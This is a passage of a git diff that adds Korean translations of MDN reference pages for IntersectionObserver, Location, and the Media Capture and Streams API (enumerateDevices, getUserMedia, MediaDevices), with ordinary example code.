가시성이 감시될 root 내부의 {{domxref("element")}}. 해당 엘리먼트는 루트 엘리먼트의 자손 노드여야 합니다(혹은 현재 root가 document의 viewport일 때는 현재 document 내부의 엘리먼트여야 합니다).
+
+ +

Return value

+ +

undefined.

+ +
+
+ +

Examples

+ +

<<<...>>>

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}{{Spec2('IntersectionObserver')}}Initial definition.
+ +
+

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.observe")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/intersectionobserver/root/index.html b/files/ko/web/api/intersectionobserver/root/index.html new file mode 100644 index 0000000000..16ae5eaad2 --- /dev/null +++ b/files/ko/web/api/intersectionobserver/root/index.html @@ -0,0 +1,57 @@ +--- +title: IntersectionObserver.root +slug: Web/API/IntersectionObserver/root +translation_of: Web/API/IntersectionObserver/root +--- +
{{APIRef("Intersection Observer API")}}
+ +

{{domxref("IntersectionObserver")}} 인터페이스의 read-only 속성인 root는 옵저버의 타겟 엘리먼트가 속한 화면의 경계, 즉 {{Glossary("viewport")}}의 {{Glossary("bounding box")}} 처럼 취급되는 {{domxref("Element")}} 이나 {{domxref("Document")}} 를 식별합니다. 만일 rootnull 이라면 화면 경계는 실제 document viewport가 사용됩니다.

+ +

문법

+ +
var root = intersectionObserver.root;
+
+ +

Value

+ +

{{domxref("Element")}} 이나 {{domxref("Document")}} 객체로, 해당 객체의 bounding box는 observer에 의해 관찰되는 대상 요소가 화면상에 얼마나 보여지는가를 가늠할 뷰포트의 경계로 사용됩니다.

+ +

사각형 경계의 교차성, {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 객체 생성시에 설정된 임의의 margin에 의한 offset, 대상 요소의 경계에서 타겟 요소와 겹쳐진 모든 요소나 다른 객체의 경계를 제외한 것이 대상 요소의 가시성 계산에 고려됩니다.

+ +

만일 rootnull이라면 현재 document가 root로 사용되며, 그것의 viewport의 경계(즉 document의 노출 영역)가 root 의 경계로 사용됩니다.

+ +

사용예

+ +

이 예제는 intersection observer의 root 요소의 {{cssxref("border")}}를 2픽셀 너비의 녹색 라인으로 설정합니다.

+ +
observer.root.style.border = "2px solid #44aa44";
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}{{Spec2('IntersectionObserver')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.IntersectionObserver.root")}}

+ +

See also

+ + diff --git a/files/ko/web/api/location/index.html b/files/ko/web/api/location/index.html new file mode 100644 index 0000000000..42587a8572 --- /dev/null +++ b/files/ko/web/api/location/index.html @@ -0,0 +1,112 @@ +--- +title: Location +slug: Web/API/Location +tags: + - API + - HTML DOM + - Interface + - Location + - Reference +translation_of: Web/API/Location +--- +
{{APIRef("HTML DOM")}}
+ +

Location 인터페이스는 객체가 연결된 장소(URL)를 표현합니다. Location 인터페이스에 변경을 가하면 연결된 객체에도 반영되는데, {{domxref("Document")}}와 {{domxref("Window")}} 인터페이스가 이런 Location을 가지고 있습니다. 각각 {{domxref("Document.location")}}과 {{domxref("Window.location")}}으로 접근할 수 있습니다.

+ +

속성

+ +

Location 인터페이스는 아무 속성도 상속하지 않지만, {{domxref("URLUtils")}}의 속성을 구현합니다.

+ +
+
{{domxref("Location.href")}}
+
온전한 URL을 값으로 하는 {{domxref("DOMString")}}입니다. 바뀔 경우 연결된 문서도 새로운 페이지로 이동합니다. 연결된 문서와 다른 오리진에서도 설정할 수 있습니다.
+
{{domxref("Location.protocol")}}
+
URL의 프로토콜 부분을 값으로 하는 {{domxref("DOMString")}}으로, 마지막의 ':'도 포함합니다.
+
{{domxref("Location.host")}}
+
URL의 호스트 부분을 값으로 하는 {{domxref("DOMString")}}으로, 호스트명, ':', 포트 번호를 포함합니다.
+
{{domxref("Location.hostname")}}
+
URL의 도메인 부분을 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.port")}}
+
URL의 포트 번호를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.pathname")}}
+
'/' 문자 뒤 URL의 경로를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.search")}}
+
'?' 문자 뒤 URL의 쿼리스트링을 값으로 하는 {{domxref("DOMString")}}입니다. 모던 브라우저에서는 {{domxref("URLSearchParams.get()")}}과 {{domxref("URL.searchParams")}}를 사용해서 인자를 쉽게 추출할 수 있습니다.
+
{{domxref("Location.hash")}}
+
'#' 문자 뒤 URL의 프래그먼트 식별자를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.username")}}
+
도메인 이름 이전에 명시된 사용자명을 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.password")}}
+
도메인 이름 이전에 명시된 비밀번호를 값으로 하는 {{domxref("DOMString")}}입니다.
+
{{domxref("Location.origin")}} {{readOnlyInline}}
+
지정한 장소 오리진의 표준 형태를 값으로 하는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

Location 인터페이스는 아무 메서드도 상속하지 않지만, {{domxref("URLUtils")}}의 메서드를 구현합니다.

+ +
+
{{domxref("Location.assign()")}}
+
주어진 URL의 리소스를 불러옵니다.
+
{{domxref("Location.reload()")}}
+
현재 URL의 리소스를 다시 불러옵니다. 선택적으로 매개변수에 true를 제공해 브라우저 캐시를 무시하고 서버에서 새로 불러올 수 있습니다,
+
{{domxref("Location.replace()")}}
+
Replaces the current resource with the one at the provided URL. The difference from the assign() method is that after using replace() the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the back button to navigate to it.
+
{{domxref("Location.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.
+
+ +

예제

+ +
// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href);      // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol);  // https:
+console.log(url.host);      // developer.mozilla.org:8080
+console.log(url.hostname);  // developer.mozilla.org
+console.log(url.port);      // 8080
+console.log(url.pathname);  // /en-US/search
+console.log(url.search);    // ?q=URL
+console.log(url.hash);      // #search-results-close-container
+console.log(url.origin);    // https://developer.mozilla.org:8080
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Location")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/location/reload/index.html b/files/ko/web/api/location/reload/index.html new file mode 100644 index 0000000000..4cd050e024 --- /dev/null +++ b/files/ko/web/api/location/reload/index.html @@ -0,0 +1,56 @@ +--- +title: Location.reload() +slug: Web/API/Location/reload +tags: + - API + - HTML DOM + - Location + - Method + - Reference +translation_of: Web/API/Location/reload +--- +
{{ APIRef("HTML DOM") }}
+ +

Location.reload() 메서드는 새로고침 버튼처럼 현재 리소스를 다시 불러옵니다.

+ +

새로고침은 SECURITY_ERROR {{domxref("DOMException")}}과 함께 거부당할 수 있습니다. 이는 location.reload()를 호출한 스크립트의 {{glossary("origin", "출처")}}와 {{domxref("Location")}} 객체를 소유한 문서의 출처가 다를 때 발생합니다. 더 자세한 정보는 동일 출처 정책 문서를 참고하세요.

+ +

구문

+ +
location.reload();
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Location.reload")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/media_streams_api/index.html b/files/ko/web/api/media_streams_api/index.html new file mode 100644 index 0000000000..8e4c60730e --- /dev/null +++ b/files/ko/web/api/media_streams_api/index.html @@ -0,0 +1,92 @@ +--- +title: Media Capture and Streams API (미디어 스트림) +slug: Web/API/Media_Streams_API +tags: + - API + - Media + - Media Capture and Streams + - Media Capture and Streams API + - Media Streams API + - Overview +translation_of: Web/API/Media_Streams_API +--- +
{{DefaultAPISidebar("Media Capture and Streams")}}
+ +

Media Streams API, 짧게는 MediaStream API라고 불리는 Media Capture and Streams API는 오디오와 비디오 데이터 스트리밍을 지원하는 WebRTC 관련 API 입니다. 이 API는 미디어 스트림과 스트림을 구성하는 트랙, 데이터 형식과 관련된 제한인자, 데이터를 비동기적으로 사용할 때의 성공과 오류 콜백, 그리고 이 과정에서 발생하는 이벤트에 대한 인터페이스 및 메서드를 제공합니다.

+ +

개념 및 사용법

+ +

이 API는 오디오 혹은 비디오와 관련된 데이터를 나타내는 {{domxref("MediaStream")}} 객체 조작에 기반합니다.

+ +

MediaStream은 0개 이상의 {{domxref("MediaStreamTrack")}} 객체로 구성되며, 각자 다양한 오디오와 비디오 트랙을 나타냅니다. 각각의 MediaStreamTrack은 하나 이상의 채널을 가질 수 있습니다. 채널은, 오디오로 예를 들면 스테레오 오디오 트랙에서의 "왼쪽"과 "오른쪽"처럼, 미디어 스트림의 제일 작은 단위를 나타냅니다.

+ +

MediaStream 객체는 하나의 입력과 하나의 출력을 가집니다. {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}로 생성한 MediaStream 객체는 "로컬" 미디어 스트림이라고 부르며, 사용자의 카메라와 마이크 중 하나를 입력 출처로 사용합니다. 반면 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, 네트워크에서 들어오는 스트림, WebRTC {{domxref("RTCPeerConnection")}} API로 획득한 스트림, Web Audio API {{domxref("MediaStreamAudioSourceNode")}}로 생성한 스트림 등은 비 로컬 MediaStream이라고 합니다.

+ +

MediaStream 객체의 출력은 소비자(컨슈머)로 연결됩니다. 소비자는 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, WebRTC {{domxref("RTCPeerConnection")}} API, Web Audio API {{domxref("MediaStreamAudioSourceNode")}}가 가능합니다.

+ +

인터페이스

+ +

아래의 참고 문서에서는 Media Capture and Streams API를 구성하는 인터페이스에 대한 기초적인 지식을 찾을 수 있습니다.

+ +
+ +
+ +

Media Capture and Streams API의 초기 명세는 {{domxref("MediaStreamTrack")}}에 기반한 별도의 AudioStreamTrackVideoStreamTrack 인터페이스를 포함했으며, 각자 오디오와 비디오 스트림을 따로 나타냈었습니다. 그러나 이런 구분은 더 이상 존재하지 않으며, 두 인터페이스를 사용하는 코드는 MediaStreamTrack을 직접 사용하도록 업데이트해야 합니다.

+ +

이벤트

+ +
+ +
+ + + +

브라우저 호환성

+ + + +

{{Compat("api.MediaStream")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediadevices/enumeratedevices/index.html b/files/ko/web/api/mediadevices/enumeratedevices/index.html new file mode 100644 index 0000000000..e49f88a6ba --- /dev/null +++ b/files/ko/web/api/mediadevices/enumeratedevices/index.html @@ -0,0 +1,88 @@ +--- +title: MediaDevices.enumerateDevices() +slug: Web/API/MediaDevices/enumerateDevices +translation_of: Web/API/MediaDevices/enumerateDevices +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("MediaDevices")}}의  enumerateDevices() 메서드는 사용(또는 접근)이 가능한 미디어 입력장치나 출력장치들의 리스트를 가져옵니다. 예를 들면 마이크, 카메라, 헤드셋 등의 미디어 입/출력 장치 리스트를 불러오는 것 이죠. 이 메서드는 {{domxref("Promise")}}를 반환하는데, 이 Promise가 resolve되면 장치(device)정보가 들어있는 {{domxref("MediaDeviceInfo")}} 배열(array)을 확인할 수 있습니다.

+ +

Syntax (구문)

+ +
var enumeratorPromise = navigator.mediaDevices.enumerateDevices();
+
+ +

Return value ( 반환값 )

+ +

반환받는 {{ domxref("Promise") }}는 모든 장치 리스트를 가져오는 것에 성공하면 {{domxref("MediaDeviceInfo")}}객체 배열(array)를 받습니다. 배열에 들어있는 객체들은 각각의 장치정보를 가지고 있습니다.

+ +

장치 리스트를 가져오는 것이 실패하면, promise는 rejected처리 됩니다.

+ +

Example (예제)

+ +

enumerateDevices()을 사용하는 방법을 알아봅시다. 아래는 장치 종류와  device IDs (장치 아이디)를 반환하며, 레이블이 있을 경우 레이블도 보여주는 간단한 코드 입니다.

+ +
if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("enumerateDevices()를 지원하지 않습니다.");
+  return;
+}
+
+// 카메라와 마이크 리스트
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

위 코드를 실행하면 아래와 같은 결과를 볼 수 있을 것입니다.:

+ +
videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

또는 하나 이상의 {{domxref("MediaStream")}}이 사용 가능하거나 접근(사용권한)이 가능할  경우:

+ +
videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediadevices-enumeratedevices', 'mediaDevices: enumerateDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

Browser compatibility (브라우저 호환)

+ + + +

{{Compat("api.MediaDevices.enumerateDevices")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mediadevices/getusermedia/index.html b/files/ko/web/api/mediadevices/getusermedia/index.html new file mode 100644 index 0000000000..d3722b3dd1 --- /dev/null +++ b/files/ko/web/api/mediadevices/getusermedia/index.html @@ -0,0 +1,296 @@ +--- +title: MediaDevices.getUserMedia() +slug: Web/API/MediaDevices/getUserMedia +tags: + - API + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - Method + - Reference + - WebRTC +translation_of: Web/API/MediaDevices/getUserMedia +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaDevices")}} 인터페이스의 getUserMedia() 메서드는 사용자에게 미디어 입력 장치 사용 권한을 요청하며, 사용자가 수락하면 요청한 미디어 종류의 트랙을 포함한 {{domxref("MediaStream")}}을 반환합니다. 스트림은 카메라, 비디오 녹화 장치, 스크린 공유 장치 등 하드웨어와 가장 비디오 소스가 생성하는 비디오 트랙과, 마이크, A/D 변환기 등 물리적과 가상 오디오 장치가 생성하는 오디오 스트림, 그리고 그 외의 다른 종류의 스트림을 포함할 수 있습니다.

+ +

반환하는 값은 {{domxref("MediaStream")}} 객체로 이행하는 {{jsxref("Promise")}}입니다. 사용자가 권한 요청을 거부했거나 일치하는 유형의 미디어를 사용할 수 없는 경우, 프로미스는 각각 NonAllowedErrorNotFoundError로 거부합니다.

+ +
+

참고: 사용자가 권한 요청에 대한 선택을 하지 않고 완전히 무시할 수도 있기 때문에, 프로미스 또한 이행도 거부도 하지 않을 수 있습니다.

+
+ +

보통, {{domxref("MediaDevices")}} 싱글톤 객체는 다음과 같이 {{domxref("navigator.mediaDevices")}}를 사용해 접근합니다.

+ +
async function getMedia(constraints) {
+  let stream = null;
+
+  try {
+    stream = await navigator.mediaDevices.getUserMedia(constraints);
+    /* 스트림 사용 */
+  } catch(err) {
+    /* 오류 처리 */
+  }
+}
+ +

프로미스를 직접 사용할 경우 다음과 같습니다.

+ +
navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* 스트림 사용 */
+})
+.catch(function(err) {
+  /* 오류 처리 */
+});
+ +
+

참고: 현재 문서를 안전하게 불러온 경우가 아니라면 navigator.mediaDevicesundefined이므로 getUserMedia()도 사용할 수 없습니다. {{anch("개인정보와 보안")}} 항목에서 getUserMedia()와 관련된 보안 문제를 자세히 살펴보세요.

+
+ +

구문

+ +
const promise = navigator.mediaDevices.getUserMedia(constraints);
+
+ +

매개변수

+ +
+
constraints
+
+

요청할 미디어 유형과 각각에 대한 요구사항을 지정하는 {{domxref("MediaStreamConstraints")}} 객체.

+ +

constraints 매개변수는 두 개의 구성 요소, videoaudio를 가지는 객체로, 요청할 미디어 유형에 대해 설명합니다. 둘 중 적어도 하나는 지정해야 합니다. 브라우저가 주어진 유형과 제약을 만족하는 미디어 트랙을 하나도 찾을 수 없는 경우 프로미스는 NotFoundError와 함께 거부합니다.

+ +

다음은 특별한 요구사항 없이 오디오와 비디오 둘 다 요청하는 매개변수입니다.

+ +
{ audio: true, video: true }
+ +

미디어 타입에 true 가 지정된 경우 각 타입에 맞는 장치가 사용 준비된 상태이어야 하며, 만약 사용 준비가 안 된 상태에서 getUserMedia() 를 호출하면 오류를 반환합니다.

+ +

constraints 매개변수에 세부사항을 지정하여 카메라와 마이크에 세부적인 요청을 할 수 있습니다. 아래의 코드는 비디오의 해상도를 1280x720로 지정하는 예제입니다.

+ +
{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}
+ +

브라우저는 지정한 해상도의 비디오 트랙을 가져오기 위해 시도하지만, 어떤 이유로든 지정한 해상도의 트랙을 가져올 수 없다면 다른 해상도의 비디오 트랙을 반환합니다.

+ +

아래와 같이 minmax 키워드를 사용하여 최소 해상도를 1280x720으로 지정할 수도 있으며, exact (논리적으로 min == max 와 같음) 키워드를 사용하여 특정 해상도를 지정할 수도 있습니다.

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}
+ +

만약 카메라에서 지원하는 해상도 중에서 1280x720해상도가 없거나 이 이상의 해상도 역시 없는 경우 promise는 rejected 상태로 OverconstrainedError 를 반환하며, 사용자에게 미디어 장치 사용 권한 요청을 하지 않습니다.

+ +

minmax 키워드만 사용한 경우 최소, 최대 해상도를 지정할 수는 있지만, 브라우저는 최솟값을 기준으로 제공할 수 있는 해상도를 찾아 미디어 스트림을 반환합니다.  일반적으로 이러한 동작은 우리의 의도와 다릅니다. 그래서 ideal 키워드를 사용하여 이상적인 해상도를 지정할 수 있습니다.

+ +

아래의 코드를 논리적으로 해석하면 1024x776 - 1120x800 - 1350x1020 - 1920x1080 와 같이 지원하는 여러 해상도가 있으면 브라우저는 ideal 해상도와 가장 근사하는 1120x800 해상도를 미디어 장치에 요청 후 반환합니다.

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}
+
+ +

아래와 같이 최솟값 최댓값 지정 없이 ideal 해상도만 지정할 수도 있습니다.

+ +
{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}
+ +

모바일 장치의 전면 카메라를 요청하기 위한 코드:

+ +
{ audio: true, video: { facingMode: "user" } }
+ +

모바일 장치의 후면 카메라를 요청하기 위한 코드:

+ +
{ audio: true, video: { facingMode: { exact: "environment" } } }
+
+
+ +

반환 값

+ +

요청한 미디어를 성공적으로 얻었다면 {{domxref("MediaStream")}} 을 수신하는 핸들러가 {{jsxref("Promise")}} 형태로 스트림을 반환합니다.

+ +

예외

+ +

promise 이행이 실패하면 실패 처리 핸들러로 {{domxref("DOMException")}} 에러 객체가 전달됩니다. 발생 가능한 에러 종류:

+ +
+
AbortError
+
사용자와 운영체제에서 하드웨어 장치 사용 권한을 부여받고 NotReadableError 에러를 발생시키는 하드웨어 문제가 발생하지 않았지만, 다른 프로그램에서 해당 장치를 사용 중인 경우 이 에러가 발생합니다.
+
NotAllowedError
+
사용자가 브라우저 설정을 통해 장치에 대한 접근권한을 차단하였거나 장치 사용 권한 요청에 거부한 경우 이 에러가 발생합니다. 이 외에도 어떤 식으로든 장치에 대한 접근을 차단하였다면 이 에러가 발생합니다. +
이전 버전의 규격에서는 이 에러와 SecurityError 를 동일한 의미로 사용하였지만, 현재 버전에서는 다른 의미로 사용하므로 혼용하여선 안 됩니다.
+
+
NotFoundError
+
constraints 매개변수 조건에 맞는 미디어 트랙이 없는 경우 이 에러가 발생합니다.
+
NotReadableError
+
사용자가 접근 권한을 부여했고 조건에 맞는 미디어 트랙도 있지만 어떤 이유로든 장치에 액세스 할 수 없어서 운영체제, 브라우저, 웹 페이지 레벨에서 하드웨어 에러가 발생하여 이 에러가 발생합니다.
+
OverconstrainedError
+
The specified constraints resulted in no candidate devices which met the criteria requested. The error is an object of type OverconstrainedError, and has a constraint property whose string value is the name of a constraint which was impossible to meet, and a message property containing a human-readable string explaining the problem. +
Because this error can occur even when the user has not yet granted permission to use the underlying device, it can potentially be used as a fingerprinting surface.
+
+
SecurityError
+
User media support is disabled on the {{domxref("Document")}} on which getUserMedia() was called. The mechanism by which user media support is enabled and disabled is left up to the individual user agent.
+
TypeError
+
The list of constraints specified is empty, or has all constraints set to false.
+
+ +

User privacy

+ +

As an API that may involve significant privacy concerns, getUserMedia() is held by the specification to very specific requirements for user notification and permission management. First, getUserMedia() must always get user permission before opening any media gathering input such as a webcam or microphone. Browsers may offer a once-per-domain permission feature, but they must ask at least the first time, and the user must specifically grant ongoing permission if they choose to do so.

+ +

Of equal importance are the rules around notification. Browsers are required to display an indicator that shows that a camera or microphone is in use, above and beyond any hardware indicator that may exist. They must also show an indicator that permission has been granted to use a device for input, even if the device is not actively recording at the moment.

+ +

In Firefox, for example, the URL bar displays a pulsing red icon to indicate that recording is underway. The icon is gray if the permission is in place but recording is not currently underway. The device's physical light is used to indicate whether or not recording is currently active. If you've muted your camera (so-called "facemuting"), your camera's activity light goes out to indicate that the camera is not actively recording you, without discarding the permission to resume using the camera once muting is over.

+ +

Examples

+ +

Width and height

+ +

This example gives a preference for camera resolution, and assigns the resulting {{domxref("MediaStream")}} object to a video element.

+ +
// Prefer camera resolution nearest to 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+
+ +

Using the new API in older browsers

+ +

Here's an example of using navigator.mediaDevices.getUserMedia(), with a polyfill to cope with older browsers. Note that this polyfill does not correct for legacy differences in constraints syntax, which means constraints won't work well across browsers. It is recommended to use the adapter.js polyfill instead, which does handle constraints.

+ +
// Older browsers might not implement mediaDevices at all, so we set an empty object first
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Some browsers partially implement mediaDevices. We can't just assign an object
+// with getUserMedia as it would overwrite existing properties.
+// Here, we will just add the getUserMedia property if it's missing.
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // First get ahold of the legacy getUserMedia, if present
+    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+    // Some browsers just don't implement it - return a rejected promise with an error
+    // to keep a consistent interface
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Older browsers may not have srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Avoid using this in new browsers, as it is going away.
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

Frame rate

+ +

Lower frame-rates may be desirable in some cases, like WebRTC transmissions with bandwidth restrictions.

+ +
var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+
+ +

Front and back camera

+ +

On mobile phones.

+ +
var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+
+ +

Permissions

+ +

To use getUserMedia() in an installable app (for example, a Firefox OS app), you need to specify one or both of the following fields inside your manifest file:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

See permission: audio-capture and permission: video-capture for more information.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}{{Spec2('Media Capture')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.MediaDevices.getUserMedia")}}

+ +

See also

+ + diff --git a/files/ko/web/api/mediadevices/index.html b/files/ko/web/api/mediadevices/index.html new file mode 100644 index 0000000000..86f9133a5c --- /dev/null +++ b/files/ko/web/api/mediadevices/index.html @@ -0,0 +1,122 @@ +--- +title: MediaDevices +slug: Web/API/MediaDevices +tags: + - API + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - Reference + - Screen Capture API + - WebRTC +translation_of: Web/API/MediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaDevices 인터페이스는 카메라, 마이크, 공유 화면 등 현재 연결된 미디어 입력 장치로의 접근 방법을 제공하는 인터페이스입니다. 다르게 말하자면, 미디어 데이터를 제공하는 모든 하드웨어로 접근할 수 있는 방법입니다.

+ +

속성

+ +

부모 인터페이스인 {{domxref("EventTarget")}}의 속성을 상속합니다.

+ +

이벤트

+ +
+
devicechange
+
사용자 컴퓨터에 미디어 입출력 장치가 추가되거나 제거됐을 때 발생합니다.
+ ondevicechange 속성으로도 사용할 수 있습니다.
+
+ +

메서드

+ +

부모 인터페이스인 {{domxref("EventTarget")}}의 메서드를 상속합니다.

+ +
+
{{ domxref("MediaDevices.enumerateDevices", "enumerateDevices()") }}
+
시스템에서 사용 가능한 미디어 입출력 장치의 정보를 담은 배열을 가져옵니다.
+
{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}
+
{{domxref("MediaStreamTrack")}} 인터페이스가 지원하는 제약을 나타내는 {{domxref("MediaTrackSupportedConstraints")}} 호환 객체를 반환합니다.
+ +
{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}
+
{{domxref("MediaStream")}}으로 캡처해 공유나 녹화 용도로 사용할 화면 혹은 화면의 일부(창)를 선택하도록 사용자에게 요청합니다. MediaStream으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}
+
사용자에게 권한을 요청한 후, 시스템의 카메라와 오디오 각각 혹은 모두 활성화하여, 장치의 입력 데이터를 비디오/오디오 트랙으로 포함한 {{domxref("MediaStream")}}을 반환합니다.
+
+ +

예제

+ +
'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onremovetrack = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // make variable available to browser console
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.width.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '<p>' + msg + '</p>';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}{{Spec2('Media Capture')}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaDevices")}}

+
+ +

같이 보기

